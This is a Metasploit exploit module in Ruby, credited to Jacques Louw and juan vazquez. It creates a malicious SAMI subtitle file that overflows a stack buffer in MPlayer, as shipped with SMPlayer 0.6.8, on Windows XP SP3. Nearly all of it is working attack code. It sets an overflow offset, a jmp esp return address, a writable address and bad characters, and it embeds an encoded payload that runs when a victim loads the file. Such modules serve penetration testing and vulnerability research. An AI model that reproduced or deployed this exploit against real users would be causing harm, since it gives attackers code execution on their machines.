MPlayer – ‘.SAMI’ Subtitle File Buffer Overflow (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'MPlayer SAMI Subtitle File Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow found in the handling of SAMI subtitles files in MPlayer SVN Versions before 33471. It currently targets SMPlayer 0.6.8, which is distributed with a vulnerable version of mplayer. The overflow is triggered when an unsuspecting victim opens a movie file first, followed by loading the malicious SAMI subtitles file from the GUI. Or, it can also be done from the console with the mplayer "-sub" option. }, 'License' => MSF_LICENSE, 'Author' => [ 'Jacques Louw', # Vulnerability Discovery and PoC 'juan vazquez' # Metasploit module ], 'Version' => '$Revision: $', 'References' => [ [ 'BID', '49149' ], [ 'OSVDB', '74604' ], [ 'URL', 'http://labs.mwrinfosecurity.com/files/Advisories/mwri_mplayer-sami-subtitles_2011-08-12.pdf' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => 'true', }, 'Payload' => { 'Space' => 4000, 'BadChars' => "\x00\x0a\x0d\x09\x3c\x3e\x5c\x22\x7b\x7d", }, 'Platform' => 'win', 'Targets' => [ [ 'SMPlayer 0.6.8 / mplayer.exe Sherpya-SVN-r29355-4.5.0 / Windows XP English SP3', { 'Offset' => 1033, 'Ret' => 0x016c14df, # jmp esp from mplayer.exe .rsrc 'WritableAddress' => 0x013ab3ae # from mplayer.exe .bss } ], ], 'Privileged' => false, 'DisclosureDate' => 'May 19 2011', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.smi']), ], self.class) end # Split the subtitle to avoid mplayer complaining # about the line max length def sami_encode(s) r = "" i = 0 while i < s.length r << s[i, 32] r << "\n" i += 32 end r end def exploit sploit = rand_text(target['Offset']) sploit << [target.ret].pack("V") sploit << "\xeb\x06" # jmp short 0x8 sploit << rand_text(2) sploit << [target['WritableAddress']].pack("V") sploit << payload.encoded sami = "<SAMI>\n" sami << "<BODY>\n" sami << "<SYNC Start=100550>\n" sami << sami_encode(sploit) sami << "</SYNC>\n" sami << "</BODY>\n" sami << "</SAMI>\n" print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(sami) end end |